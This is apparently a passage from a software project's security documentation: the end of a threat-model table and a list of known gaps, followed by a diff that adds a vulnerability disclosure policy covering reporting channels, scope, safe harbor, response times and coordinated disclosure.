| **T** — Pool contamination | Transaction-mode pooling; no session-level GUCs from app | `docs/ops/pgbouncer.md` | Operator must verify `server_reset_query` per release. |
| **I** — Credential leak via `SHOW` | `admin_users` restricted; `SHOW` permissions audited | `infra/pgbouncer/pgbouncer.ini` | Operator-owned. |
| **D** — Pool exhaustion | Per-app `max_client_conn` + statement timeout on origin | Same | Documented in runbook. |
## Cross-cutting controls
- **Secret handling** — secrets never read from UI code; `@toolctrl/config` exposes typed loaders. `.env.test` allow-listed; `.env` git-ignored. See `docs/env-access-inventory.md`.
- **Branding / infra parametrization** — `BRAND_*` env vars and `scripts/infra-config.mjs` give forks override knobs without removing the verify-gate contract — see `docs/deployment-porting.md`.
- **Migrations** — structural Prisma diff verified via `verify:db-migrate-status`; rollback procedure documented in `docs/operations/database-rollback.md`.
- **Audit chain** — every privileged mutation emits an AuditEvent; hash-chain verifier planned in [`compliance-audit-export`](../improvement-plan/10-compliance-polish/compliance-audit-export.md) is the canonical forensics source referenced by [`incident-response.md`](./incident-response.md).
- **SBOM** — generated per build; see [`sbom.md`](./sbom.md).
## Gaps tracked in the roadmap
The following items are knowingly incomplete and tracked under the improvement plan:
- **B4** — Mail templates currently hardcode English subjects/bodies (`docs/improvement-plan` 04-i18n).
- **B5** — `Response.json("Unauthorized", …)` style stringly errors still exist in some loaders.
- **C1 / C2** — Handler coverage below target (API < 70 %, worker < 50 %).
- **C3** — Cross-tenant runtime integration test pending.
- **D3** — `packages/logger` / `packages/error-reporter` Pino+Sentry adapters complete; PIISpanProcessor verification is per-release.
- **CSP enforcement** in production headers — tracked under `10-compliance-polish`.
- **Plugin sandbox** (component 10) — full implementation pending phase-06.
- **Authentik IdP** (component 21) — staging-only today; production cutover tracked in phase-08.
Each gap has an owning task in the improvement plan and a matching commit category.
@@ -0,0 +1,109 @@
# Vulnerability Disclosure Policy
This is the canonical public vulnerability disclosure policy for the platform. The same content is referenced from [`SECURITY.md`](../../SECURITY.md), the public `.well-known/security.txt` and any operator-hosted "Security" page.
> **Status:** active. Reports are accepted at `security@<your-domain>` (PGP key in `.well-known/pgp-key.txt`).
## 1. Promise
We take security seriously. We invest in the architecture, the controls, and the runbooks that defend customer data — and we recognise that even with that investment, well-meaning security researchers will sometimes find issues we have missed. This policy describes how to report those issues to us, what to expect in response, and the safe-harbor commitment that protects researchers acting in good faith.
## 2. Reporting channels
| Channel | Use when |
| --- | --- |
| `security@<your-domain>` (PGP, see [`.well-known/pgp-key.txt`](../../apps/web/public/.well-known/pgp-key.txt)) | Default — any suspected vulnerability |
| Coordinated-disclosure form (link published on the public security page once available) | Researchers who prefer a web form |
| `dpo@<your-domain>` | If the report involves a suspected data-protection breach affecting a specific data subject |
| `oncall@<your-domain>` | Only if the issue is being actively exploited and the operator must page on-call immediately |
Please **do not** open a public issue on the source repository, post on social media, file a chargeback, or contact customer support for a security issue. Those channels are not monitored for security reports and will delay the response.
## 3. What to include
A high-quality report typically contains:
1. **Concise title** (≤ 80 chars)
2. **Affected surface** — generic route class, endpoint shape, worker job, or documentation page. Do not include a customer-specific URL
3. **Reproduction steps** — using fixtures or synthetic values only; do not include real secrets, customer data, tenant identifiers, or production tokens
4. **Observed impact** — what happened
5. **Expected behavior** — what should have happened
6. **Severity estimate** — your best guess (CVSS 3.1 vector + score is welcome)
7. **References** — CWE / OWASP / related advisories
8. **Researcher contact** — preferred email + PGP fingerprint
9. **Hall-of-fame preference** — whether you want credit (and the name to use) or prefer to stay anonymous
Where to find safe values for examples: see "Safe evidence" in [`SECURITY.md`](../../SECURITY.md).
## 4. Scope
In-scope assets and out-of-scope assets are the same as the [`pen-test-scope.md`](./pen-test-scope.md) definition. Researchers should review §2 and §3 of that document before testing.
**Quick reference**:
- **In scope**: `app.<env>.<your-domain>`, `admin.<env>.<your-domain>`, `api.<env>.<your-domain>`, `realtime.<env>.<your-domain>`, public widget bootstraps (`widget.js`, `marketing.js`), embed routes, lead-capture endpoint, public documentation
- **Out of scope**: production tenants, third-party provider consoles, marketing site, customer-configured destinations, social engineering, DoS / load testing, destructive activity, real-user data exfiltration, public CDN edge-cache attacks
## 5. Safe harbor
We will not pursue legal action against, will request stand-down from any third party we control on behalf of, and will publicly thank (on request) any researcher who:
- limits activity to the in-scope assets,
- avoids the out-of-scope activities,
- respects an operator stop request,
- reports findings exclusively through `security@<your-domain>` (or another listed channel) until disclosure is mutually agreed,
- does not modify, destroy, or exfiltrate data beyond the minimum required to demonstrate impact,
- gives us a reasonable opportunity to remediate before publishing.
If you are unsure whether an activity is in scope, ask first at `security@<your-domain>`. We will respond within one business day.
Safe harbor does **not** cover:
- Activity that violates applicable law (e.g. unauthorised access to systems beyond the in-scope list)
- Activity that breaches a contract with another customer
- Sustained denial-of-service or destructive activity
- Extortion ("pay me and I'll tell you the bug")
## 6. Response SLA
| Step | Target |
| --- | --- |
| Acknowledgement of receipt | ≤ 48 hours (business days) |
| Triage and severity assignment | ≤ 5 business days |
| Status update cadence during fix | every 7 calendar days |
| Fix for **P0 / Critical** | ≤ 7 calendar days |
| Fix for **P1 / High** | ≤ 30 calendar days |
| Fix for **P2 / Medium** | ≤ 60 calendar days |
| Fix for **P3 / Low** | ≤ 90 calendar days |
| Public advisory | at fix deployment, or 90 days from report, whichever is first |
Severity is determined by the operator using CVSS 3.1 and the operator severity bucket (P0–P3, see [`incident-response.md`](./incident-response.md)). Reporters may dispute the severity assignment in writing; the operator records the dispute and the final decision.
## 7. Coordinated disclosure
We work with reporters to find a disclosure date that gives customers time to upgrade or apply mitigations. By default:
- We publish an advisory on the operator's public security page when the fix ships.
- We credit the reporter (by their chosen name) in the advisory and in the hall of fame, unless they have asked to stay anonymous.
- We disclose 90 days after the original report at the latest, even if a fix has not shipped, unless the reporter agrees to a longer embargo.
If a vulnerability is being actively exploited, we may publish a partial advisory immediately, with full technical detail following the fix.
## 8. Bug bounty
A formal bug-bounty program is **planned but not yet active**. See [`bug-bounty.md`](./bug-bounty.md) for the program skeleton and current activation status. Until the program is active, reports remain eligible for the coordinated-disclosure hall of fame and for thank-you swag at the operator's discretion. We do not commit to monetary rewards until the bounty program is formally activated.
## 9. Hall of fame
We maintain a list of researchers who have responsibly disclosed vulnerabilities to us, with their consent, on the operator's public security page (`https://app.<your-domain>/security/hall-of-fame`, indexed by `.well-known/security.txt` via the `Acknowledgments` field). Inclusion is opt-in and reversible — researchers can ask to be removed at any time.
## 10. What we will not do
- We will not threaten or pursue legal action against a researcher who follows this policy.
- We will not require a non-disclosure agreement as a precondition to triage.
- We will not require the researcher to forfeit credit as a precondition to acceptance.
- We will not share researcher identity or contact information with any third party without consent, except where required by law.
## 11. Updates to this policy
This policy is versioned with the repository. Material updates are announced via the operator's public security page and via a new entry in the operator's changelog. The current revision is the file `docs/security/vulnerability-disclosure.md` at the tip of the `main` branch.